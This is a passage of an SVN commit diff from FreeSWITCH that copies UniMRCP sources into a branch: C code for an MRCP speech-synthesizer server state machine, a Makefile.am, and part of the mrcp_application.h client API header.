+static APR_INLINE apt_bool_t synth_response_dispatch(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	state_machine->active_request = NULL;
+	if(state_machine->base.active == FALSE) {
+		/* this is the response to deactivation (STOP) request */
+		return state_machine->base.on_deactivate(&state_machine->base);
+	}
+	return state_machine->base.on_dispatch(&state_machine->base,message);
+}
+
+static APR_INLINE apt_bool_t synth_event_dispatch(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	if(state_machine->base.active == FALSE) {
+		/* do nothing, state machine has already been deactivated */
+		return FALSE;
+	}
+	return state_machine->base.on_dispatch(&state_machine->base,message);
+}
+
+static APR_INLINE void synth_state_change(mrcp_synth_state_machine_t *state_machine, mrcp_synth_state_e state)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"State Transition %s -> %s",state_names[state_machine->state],state_names[state]);
+	state_machine->state = state;
+	if(state == SYNTHESIZER_STATE_IDLE) {
+		state_machine->speaker = NULL;
+	}
+}
+
+
+static apt_bool_t synth_request_set_params(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process SET-PARAMS Request [%d]",message->start_line.request_id);
+	mrcp_message_header_set(&state_machine->properties,&message->header,message->pool);
+	return synth_request_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_response_set_params(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process SET-PARAMS Response [%d]",message->start_line.request_id);
+	return synth_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_request_get_params(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process GET-PARAMS Request [%d]",message->start_line.request_id);
+	return synth_request_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_response_get_params(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process GET-PARAMS Response [%d]",message->start_line.request_id);
+	mrcp_message_header_set(&message->header,&state_machine->active_request->header,message->pool);
+	mrcp_message_header_get(&message->header,&state_machine->properties,message->pool);
+	return synth_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_request_speak(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_header_inherit(&message->header,&state_machine->properties,message->pool);
+	if(state_machine->speaker) {
+		mrcp_message_t *response;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Queue Up SPEAK Request [%d]",message->start_line.request_id);
+		message->start_line.request_state = MRCP_REQUEST_STATE_PENDING;
+		apt_list_push_back(state_machine->queue,message,message->pool);
+		
+		response = mrcp_response_create(message,message->pool);
+		response->start_line.request_state = MRCP_REQUEST_STATE_PENDING;
+		return synth_response_dispatch(state_machine,response);
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process SPEAK Request [%d]",message->start_line.request_id);
+	return synth_request_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_response_speak(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process SPEAK Response [%d]",message->start_line.request_id);
+	if(message->start_line.request_state == MRCP_REQUEST_STATE_INPROGRESS) {
+		state_machine->speaker = state_machine->active_request;
+		synth_state_change(state_machine,SYNTHESIZER_STATE_SPEAKING);
+	}
+	if(state_machine->is_pending == TRUE) {
+		mrcp_message_t *event_message = mrcp_event_create(
+							state_machine->active_request,
+							SYNTHESIZER_SPEECH_MARKER,
+							state_machine->active_request->pool);
+		event_message->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+		state_machine->is_pending = FALSE;
+		/* not to send the response for pending request, instead send SPEECH-MARKER event */
+		return synth_event_dispatch(state_machine,event_message);
+	}
+	return synth_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_pending_requests_remove(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *request_message, mrcp_message_t *response_message)
+{
+	apt_list_elem_t *elem;
+	mrcp_message_t *pending_message;
+	mrcp_request_id_list_t *request_id_list = NULL;
+	mrcp_generic_header_t *generic_header = mrcp_generic_header_get(request_message);
+	mrcp_generic_header_t *response_generic_header = mrcp_generic_header_prepare(response_message);
+	if(generic_header && mrcp_generic_header_property_check(request_message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST) == TRUE) {
+		if(generic_header->active_request_id_list.ids && generic_header->active_request_id_list.count) {
+			/* selective STOP request */
+			request_id_list = &generic_header->active_request_id_list;
+		}
+	}
+
+	elem = apt_list_first_elem_get(state_machine->queue);
+	while(elem) {
+		pending_message = apt_list_elem_object_get(elem);
+		if(!request_id_list || active_request_id_list_find(generic_header,pending_message->start_line.request_id) == TRUE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove Pending SPEAK Request [%d]",pending_message->start_line.request_id);
+			elem = apt_list_elem_remove(state_machine->queue,elem);
+			/* append active id list */
+			active_request_id_list_append(response_generic_header,pending_message->start_line.request_id);
+		}
+		else {
+			/* speak request remains in the queue, just proceed to the next one */
+			elem = apt_list_next_elem_get(state_machine->queue,elem);
+		}
+	}
+	if(response_generic_header->active_request_id_list.count) {
+		mrcp_generic_header_property_add(response_message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST);
+	}
+	return TRUE;
+}
+
+static apt_bool_t synth_request_stop(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *response_message;
+	if(state_machine->speaker) {
+		mrcp_request_id_list_t *request_id_list = NULL;
+		mrcp_generic_header_t *generic_header = mrcp_generic_header_get(message);
+		if(generic_header && mrcp_generic_header_property_check(message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST) == TRUE) {
+			if(generic_header->active_request_id_list.ids && generic_header->active_request_id_list.count) {
+				/* selective STOP request */
+				request_id_list = &generic_header->active_request_id_list;
+			}
+		}
+
+		if(!request_id_list || active_request_id_list_find(generic_header,state_machine->speaker->start_line.request_id) == TRUE) {
+			/* found in-progress SPEAK request, stop it */
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process STOP Request [%d]",message->start_line.request_id);
+			return synth_request_dispatch(state_machine,message);
+		}
+	}
+
+	/* found no in-progress SPEAK request, sending immediate response */
+	response_message = mrcp_response_create(message,message->pool);
+	synth_pending_requests_remove(state_machine,message,response_message);
+	return synth_response_dispatch(state_machine,response_message);
+}
+
+static apt_bool_t synth_response_stop(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *pending_request;
+	mrcp_generic_header_t *generic_header = mrcp_generic_header_prepare(message);
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process STOP Response [%d]",message->start_line.request_id);
+	/* append active id list */
+	active_request_id_list_append(generic_header,state_machine->speaker->start_line.request_id);
+	mrcp_generic_header_property_add(message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST);
+	synth_pending_requests_remove(state_machine,state_machine->active_request,message);
+	synth_state_change(state_machine,SYNTHESIZER_STATE_IDLE);
+	pending_request = apt_list_pop_front(state_machine->queue);
+	synth_response_dispatch(state_machine,message);
+
+	/* process pending SPEAK requests / if any */
+	if(pending_request) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process Pending SPEAK Request [%d]",pending_request->start_line.request_id);
+		state_machine->is_pending = TRUE;
+		synth_request_dispatch(state_machine,pending_request);
+	}
+	return TRUE;
+}
+
+static apt_bool_t synth_request_pause(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	if(state_machine->speaker) {
+		/* speaking or paused state */
+		if(state_machine->state == SYNTHESIZER_STATE_SPEAKING) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process PAUSE Request [%d]",state_machine->speaker->start_line.request_id);
+			synth_request_dispatch(state_machine,message);
+		}
+		else {
+			/* paused state */
+			mrcp_message_t *response_message = mrcp_response_create(message,message->pool);
+			synth_response_dispatch(state_machine,response_message);
+		}
+	}
+	else {
+		/* idle state */
+		mrcp_message_t *response_message = mrcp_response_create(message,message->pool);
+		response_message->start_line.status_code = MRCP_STATUS_CODE_METHOD_NOT_VALID;
+		synth_response_dispatch(state_machine,response_message);
+	}
+	return TRUE;
+}
+
+static apt_bool_t synth_response_pause(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process PAUSE Response [%d]",message->start_line.request_id);
+	if(message->start_line.status_code == MRCP_STATUS_CODE_SUCCESS) {
+		mrcp_generic_header_t *generic_header = mrcp_generic_header_prepare(message);
+		/* append active id list */
+		active_request_id_list_append(generic_header,state_machine->speaker->start_line.request_id);
+		mrcp_generic_header_property_add(message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST);
+		synth_state_change(state_machine,SYNTHESIZER_STATE_PAUSED);
+	}
+	synth_response_dispatch(state_machine,message);
+	return TRUE;
+}
+
+static apt_bool_t synth_request_resume(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	if(state_machine->speaker) {
+		/* speaking or paused state */
+		if(state_machine->state == SYNTHESIZER_STATE_PAUSED) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process RESUME Request [%d]",state_machine->speaker->start_line.request_id);
+			synth_request_dispatch(state_machine,message);
+		}
+		else {
+			/* speaking state */
+			mrcp_message_t *response_message = mrcp_response_create(message,message->pool);
+			synth_response_dispatch(state_machine,response_message);
+		}
+	}
+	else {
+		/* idle state */
+		mrcp_message_t *response_message = mrcp_response_create(message,message->pool);
+		response_message->start_line.status_code = MRCP_STATUS_CODE_METHOD_NOT_VALID;
+		synth_response_dispatch(state_machine,response_message);
+	}
+	return TRUE;
+}
+
+static apt_bool_t synth_response_resume(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process RESUME Response [%d]",message->start_line.request_id);
+	if(message->start_line.status_code == MRCP_STATUS_CODE_SUCCESS) {
+		mrcp_generic_header_t *generic_header = mrcp_generic_header_prepare(message);
+		/* append active id list */
+		active_request_id_list_append(generic_header,state_machine->speaker->start_line.request_id);
+		mrcp_generic_header_property_add(message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST);
+		synth_state_change(state_machine,SYNTHESIZER_STATE_SPEAKING);
+	}
+	synth_response_dispatch(state_machine,message);
+	return TRUE;
+}
+
+static apt_bool_t synth_request_barge_in_occurred(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *response_message;
+	if(state_machine->speaker) {
+		apt_bool_t kill_on_barge_in = TRUE;
+		mrcp_synth_header_t *synth_header = mrcp_resource_header_get(message);
+		if(synth_header) {
+			if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_KILL_ON_BARGE_IN) == TRUE) {
+				kill_on_barge_in = synth_header->kill_on_barge_in;
+			}
+		}
+	
+		if(kill_on_barge_in == TRUE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process BARGE-IN Request [%d]",message->start_line.request_id);
+			return synth_request_dispatch(state_machine,message);
+		}
+	}
+
+	/* found no kill-on-bargein enabled in-progress SPEAK request, sending immediate response */
+	response_message = mrcp_response_create(message,message->pool);
+	return synth_response_dispatch(state_machine,response_message);
+}
+
+static apt_bool_t synth_response_barge_in_occurred(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_generic_header_t *generic_header = mrcp_generic_header_prepare(message);
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process BARGE-IN Response [%d]",message->start_line.request_id);
+	/* append active id list */
+	active_request_id_list_append(generic_header,state_machine->speaker->start_line.request_id);
+	mrcp_generic_header_property_add(message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST);
+	synth_pending_requests_remove(state_machine,state_machine->active_request,message);
+	synth_state_change(state_machine,SYNTHESIZER_STATE_IDLE);
+	return synth_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_request_control(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *response_message;
+	if(state_machine->state == SYNTHESIZER_STATE_SPEAKING) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process CONTROL Request [%d]",message->start_line.request_id);
+		return synth_request_dispatch(state_machine,message);
+	}
+
+	/* found no in-progress SPEAK request, sending immediate response */
+	response_message = mrcp_response_create(message,message->pool);
+	return synth_response_dispatch(state_machine,response_message);
+}
+
+static apt_bool_t synth_response_control(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_generic_header_t *generic_header = mrcp_generic_header_prepare(message);
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process CONTROL Response [%d]",message->start_line.request_id);
+	/* append active id list */
+	active_request_id_list_append(generic_header,state_machine->speaker->start_line.request_id);
+	mrcp_generic_header_property_add(message,GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST);
+	return synth_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_request_define_lexicon(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *response_message;
+	if(state_machine->state == SYNTHESIZER_STATE_IDLE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process DEFINE-LEXICON Request [%d]",message->start_line.request_id);
+		return synth_request_dispatch(state_machine,message);
+	}
+
+	/* sending failure response */
+	response_message = mrcp_response_create(message,message->pool);
+	response_message->start_line.status_code = MRCP_STATUS_CODE_METHOD_NOT_VALID;
+	return synth_response_dispatch(state_machine,response_message);
+}
+
+static apt_bool_t synth_response_define_lexicon(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process DEFINE-LEXICON Response [%d]",message->start_line.request_id);
+	return synth_response_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_event_speech_marker(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	if(!state_machine->speaker) {
+		/* unexpected event, no in-progress speak request */
+		return FALSE;
+	}
+
+	if(state_machine->speaker->start_line.request_id != message->start_line.request_id) {
+		/* unexpected event */
+		return FALSE;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process SPEECH-MARKER Event [%d]",message->start_line.request_id);
+	message->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	return synth_event_dispatch(state_machine,message);
+}
+
+static apt_bool_t synth_event_speak_complete(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	mrcp_message_t *pending_request;
+	if(!state_machine->speaker) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Unexpected SPEAK-COMPLETE Event [%d]",message->start_line.request_id);
+		return FALSE;
+	}
+
+	if(state_machine->speaker->start_line.request_id != message->start_line.request_id) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Unexpected SPEAK-COMPLETE Event [%d]",message->start_line.request_id);
+		return FALSE;
+	}
+
+	if(state_machine->active_request && state_machine->active_request->start_line.method_id == SYNTHESIZER_STOP) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Ignore SPEAK-COMPLETE Event [%d]: waiting for STOP response",message->start_line.request_id);
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process SPEAK-COMPLETE Event [%d]",message->start_line.request_id);
+	if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_COMPLETION_CAUSE) != TRUE) {
+		mrcp_synth_header_t *synth_header = mrcp_resource_header_prepare(message);
+		synth_header->completion_cause = SYNTHESIZER_COMPLETION_CAUSE_NORMAL;
+		mrcp_resource_header_property_add(message,SYNTHESIZER_HEADER_COMPLETION_CAUSE);
+	}
+	synth_state_change(state_machine,SYNTHESIZER_STATE_IDLE);
+	synth_event_dispatch(state_machine,message);
+
+	/* process pending SPEAK requests */
+	pending_request = apt_list_pop_front(state_machine->queue);
+	if(pending_request) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Process Pending SPEAK Request [%d]",pending_request->start_line.request_id);
+		state_machine->is_pending = TRUE;
+		synth_request_dispatch(state_machine,pending_request);
+	}
+	return TRUE;
+}
+
+static synth_method_f synth_request_method_array[SYNTHESIZER_METHOD_COUNT] = {
+	synth_request_set_params,
+	synth_request_get_params,
+	synth_request_speak,
+	synth_request_stop,
+	synth_request_pause,
+	synth_request_resume,
+	synth_request_barge_in_occurred,
+	synth_request_control,
+	synth_request_define_lexicon
+};
+
+static synth_method_f synth_response_method_array[SYNTHESIZER_METHOD_COUNT] = {
+	synth_response_set_params,
+	synth_response_get_params,
+	synth_response_speak,
+	synth_response_stop,
+	synth_response_pause,
+	synth_response_resume,
+	synth_response_barge_in_occurred,
+	synth_response_control,
+	synth_response_define_lexicon,
+};
+
+static synth_method_f synth_event_method_array[SYNTHESIZER_EVENT_COUNT] = {
+	synth_event_speech_marker,
+	synth_event_speak_complete
+};
+
+/** Update state according to received incoming request from MRCP client */
+static apt_bool_t synth_request_state_update(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	synth_method_f method;
+	if(message->start_line.method_id >= SYNTHESIZER_METHOD_COUNT) {
+		return FALSE;
+	}
+	
+	method = synth_request_method_array[message->start_line.method_id];
+	if(method) {
+		return method(state_machine,message);
+	}
+	return synth_request_dispatch(state_machine,message);
+}
+
+/** Update state according to received outgoing response from synthesizer engine */
+static apt_bool_t synth_response_state_update(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	synth_method_f method;
+	if(!state_machine->active_request) {
+		/* unexpected response, no active request waiting for response */
+		return FALSE;
+	}
+	if(state_machine->active_request->start_line.request_id != message->start_line.request_id) {
+		/* unexpected response, request id doesn't match */
+		return FALSE;
+	}
+
+	if(message->start_line.method_id >= SYNTHESIZER_METHOD_COUNT) {
+		return FALSE;
+	}
+	
+	method = synth_response_method_array[message->start_line.method_id];
+	if(method) {
+		return method(state_machine,message);
+	}
+	return synth_response_dispatch(state_machine,message);
+}
+
+/** Update state according to received outgoing event from synthesizer engine */
+static apt_bool_t synth_event_state_update(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	synth_method_f method;
+	if(message->start_line.method_id >= SYNTHESIZER_EVENT_COUNT) {
+		return FALSE;
+	}
+	
+	method = synth_event_method_array[message->start_line.method_id];
+	if(method) {
+		return method(state_machine,message);
+	}
+	return synth_event_dispatch(state_machine,message);
+}
+
+/** Update state according to request received from MRCP client or response/event received from synthesizer engine */
+static apt_bool_t synth_state_update(mrcp_state_machine_t *base, mrcp_message_t *message)
+{
+	mrcp_synth_state_machine_t *synth_state_machine = (mrcp_synth_state_machine_t*)base;
+	apt_bool_t status = TRUE;
+	switch(message->start_line.message_type) {
+		case MRCP_MESSAGE_TYPE_REQUEST:
+			status = synth_request_state_update(synth_state_machine,message);
+			break;
+		case MRCP_MESSAGE_TYPE_RESPONSE:
+			status = synth_response_state_update(synth_state_machine,message);
+			break;
+		case MRCP_MESSAGE_TYPE_EVENT:
+			status = synth_event_state_update(synth_state_machine,message);
+			break;
+		default:
+			status = FALSE;
+			break;
+	}
+	return status;
+}
+
+/** Deactivate state machine */
+static apt_bool_t synth_state_deactivate(mrcp_state_machine_t *base)
+{
+	mrcp_synth_state_machine_t *state_machine = (mrcp_synth_state_machine_t*)base;
+	mrcp_message_t *message;
+	mrcp_message_t *source;
+	if(!state_machine->speaker) {
+		/* no in-progress SPEAK request to deactivate */
+		return FALSE;
+	}
+	source = state_machine->speaker;
+
+	/* create internal STOP request */
+	message = mrcp_request_create(
+						source->channel_id.resource_id,
+						SYNTHESIZER_STOP,
+						source->pool);
+	message->channel_id = source->channel_id;
+	message->start_line.request_id = source->start_line.request_id + 1;
+	apt_string_set(&message->start_line.method_name,"DEACTIVATE"); /* informative only */
+	message->header = source->header;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Create and Process STOP Request [%d]",message->start_line.request_id);
+	return synth_request_dispatch(state_machine,message);
+}
+
+/** Create MRCP synthesizer server state machine */
+mrcp_state_machine_t* mrcp_synth_server_state_machine_create(void *obj, mrcp_version_e version, apr_pool_t *pool)
+{
+	mrcp_message_header_t *properties;
+	mrcp_synth_state_machine_t *state_machine = apr_palloc(pool,sizeof(mrcp_synth_state_machine_t));
+	mrcp_state_machine_init(&state_machine->base,obj);
+	state_machine->base.update = synth_state_update;
+	state_machine->base.deactivate = synth_state_deactivate;
+	state_machine->state = SYNTHESIZER_STATE_IDLE;
+	state_machine->is_pending = FALSE;
+	state_machine->active_request = NULL;
+	state_machine->speaker = NULL;
+	state_machine->queue = apt_list_create(pool);
+	properties = &state_machine->properties;
+	mrcp_message_header_init(properties);
+	properties->generic_header_accessor.vtable = mrcp_generic_header_vtable_get(version);
+	properties->resource_header_accessor.vtable = mrcp_synth_header_vtable_get(version);
+	return &state_machine->base;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client


Name: svn:ignore
   + Makefile.in
Makefile
Debug
*.user
Release
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+MAINTAINERCLEANFILES 	    = Makefile.in
+
+INCLUDES                    = -I$(top_srcdir)/libs/mrcp-client/include \
+                              -I$(top_srcdir)/libs/mrcp-signaling/include \
+                              -I$(top_srcdir)/libs/mrcpv2-transport/include \
+                              -I$(top_srcdir)/libs/mrcp/include \
+                              -I$(top_srcdir)/libs/mrcp/message/include \
+                              -I$(top_srcdir)/libs/mrcp/control/include \
+                              -I$(top_srcdir)/libs/mrcp/resources/include \
+                              -I$(top_srcdir)/libs/mpf/include \
+                              -I$(top_srcdir)/libs/apr-toolkit/include \
+                              $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_LTLIBRARIES          = libmrcpclient.la
+
+include_HEADERS             = include/mrcp_client_types.h \
+                              include/mrcp_client.h \
+                              include/mrcp_client_session.h \
+                              include/mrcp_application.h
+
+libmrcpclient_la_SOURCES    = src/mrcp_client.c \
+                              src/mrcp_client_session.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_application.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_application.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/include/mrcp_application.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_application.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_application.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,297 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_APPLICATION_H__
+#define __MRCP_APPLICATION_H__
+
+/**
+ * @file mrcp_application.h
+ * @brief MRCP User Level Application Interface
+ */ 
+
+#include "mrcp_client_types.h"
+#include "mpf_rtp_descriptor.h"
+#include "mpf_stream.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCP application message declaration */
+typedef struct mrcp_app_message_t mrcp_app_message_t;
+
+/** MRCP signaling message declaration */
+typedef struct mrcp_sig_message_t mrcp_sig_message_t;
+
+/** MRCP application message dispatcher declaration */
+typedef struct mrcp_app_message_dispatcher_t mrcp_app_message_dispatcher_t;
+
+/** MRCP application message handler */
+typedef apt_bool_t (*mrcp_app_message_handler_f)(const mrcp_app_message_t *app_message);
+
+/** Enumeration of MRCP signaling message types */
+typedef enum {
+	MRCP_SIG_MESSAGE_TYPE_REQUEST,  /**< request message */
+	MRCP_SIG_MESSAGE_TYPE_RESPONSE, /**< response message */
+	MRCP_SIG_MESSAGE_TYPE_EVENT     /**< event message */
+} mrcp_sig_message_type_e;
+
+/** Enumeration of MRCP signaling status codes */
+typedef enum {
+	MRCP_SIG_STATUS_CODE_SUCCESS,   /**< indicates success */
+	MRCP_SIG_STATUS_CODE_FAILURE,   /**< request failed */
+	MRCP_SIG_STATUS_CODE_TERMINATE, /**< request failed, session/channel/connection unexpectedly terminated */
+	MRCP_SIG_STATUS_CODE_CANCEL     /**< request cancelled */
+} mrcp_sig_status_code_e;
+
+
+/** Enumeration of MRCP signaling commands (requests/responses) */
+typedef enum {
+	MRCP_SIG_COMMAND_SESSION_UPDATE,
+	MRCP_SIG_COMMAND_SESSION_TERMINATE,
+	MRCP_SIG_COMMAND_CHANNEL_ADD,
+	MRCP_SIG_COMMAND_CHANNEL_REMOVE,
+	MRCP_SIG_COMMAND_RESOURCE_DISCOVER
+} mrcp_sig_command_e;
+
+/** Enumeration of MRCP signaling events */
+typedef enum {
+	MRCP_SIG_EVENT_READY,
+	MRCP_SIG_EVENT_TERMINATE
+} mrcp_sig_event_e;
+
+
+/** Enumeration of MRCP application message types */
+typedef enum {
+	MRCP_APP_MESSAGE_TYPE_SIGNALING, /**< signaling message type */
+	MRCP_APP_MESSAGE_TYPE_CONTROL    /**< control message type */
+} mrcp_app_message_type_e;
+
+/** MRCP signaling message definition */
+struct mrcp_sig_message_t {
+	/** Message type (request/response/event) */
+	mrcp_sig_message_type_e message_type;
+	/** Command (request/response) identifier */
+	mrcp_sig_command_e      command_id;
+	/** Event identifier */
+	mrcp_sig_event_e        event_id;
+	/** Status code used in response */
+	mrcp_sig_status_code_e  status;
+};
+
+
+/** MRCP application message definition */
+struct mrcp_app_message_t {
+	/** Message type (signaling/control) */
+	mrcp_app_message_type_e message_type;
+
+	/** Application */
+	mrcp_application_t        *application;
+	/** Session */
+	mrcp_session_t            *session;
+	/** Channel */
+	mrcp_channel_t            *channel;
+	/** Session/resource descriptor */
+	mrcp_session_descriptor_t *descriptor;
+
+	/** MRCP signaling message (used if message_type == MRCP_APP_MESSAGE_SIGNALING) */
+	mrcp_sig_message_t         sig_message;
+	/** MRCP control message (used if message_type == MRCP_APP_MESSAGE_CONTROL) */
+	mrcp_message_t            *control_message;
+};
+
+/** MRCP application message dispatcher interface */
+struct mrcp_app_message_dispatcher_t {
+	/** Response to mrcp_application_session_update()request */
+	apt_bool_t (*on_session_update)(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+	/** Response to mrcp_application_session_terminate()request */
+	apt_bool_t (*on_session_terminate)(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+	
+	/** Response to mrcp_application_channel_add() request */
+	apt_bool_t (*on_channel_add)(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+	/** Response to mrcp_application_channel_remove() request */
+	apt_bool_t (*on_channel_remove)(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+
+	/** Response (event) to mrcp_application_message_send() request */
+	apt_bool_t (*on_message_receive)(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message);
+
+	/** Event indicating client stack is started and ready to process requests from the application */
+	apt_bool_t (*on_ready)(mrcp_application_t *application, mrcp_sig_status_code_e status);
+
+	/** Event indicating unexpected session/channel termination */
+	apt_bool_t (*on_terminate_event)(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel);
+
+	/** Response to mrcp_application_resource_discover() request */
+	apt_bool_t (*on_resource_discover)(mrcp_application_t *application, mrcp_session_t *session, mrcp_session_descriptor_t *descriptor, mrcp_sig_status_code_e status);
+};
+
+
+
+/**
+ * Create application instance.
+ * @param handler the event handler
+ * @param obj the external object
+ * @param pool the pool to allocate memory from
+ */
+MRCP_DECLARE(mrcp_application_t*) mrcp_application_create(const mrcp_app_message_handler_f handler, void *obj, apr_pool_t *pool);
+
+/**
+ * Destroy application instance.
+ * @param application the application to destroy
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_application_destroy(mrcp_application_t *application);
+
+/**
+ * Get external object associated with the application.
+ * @param application the application to get object from
+ */
+MRCP_DECLARE(void*) mrcp_application_object_get(mrcp_application_t *application);
+
+/**
+ * Get dir layout structure.
+ * @param application the application to get dir layout from
+ */
+MRCP_DECLARE(const apt_dir_layout_t*) mrcp_application_dir_layout_get(mrcp_application_t *application);
+
+/**
+ * Create session.
+ * @param application the entire application
+ * @param profile the name of the profile to use
+ * @param obj the external object
+ * @return the created session instance
+ */
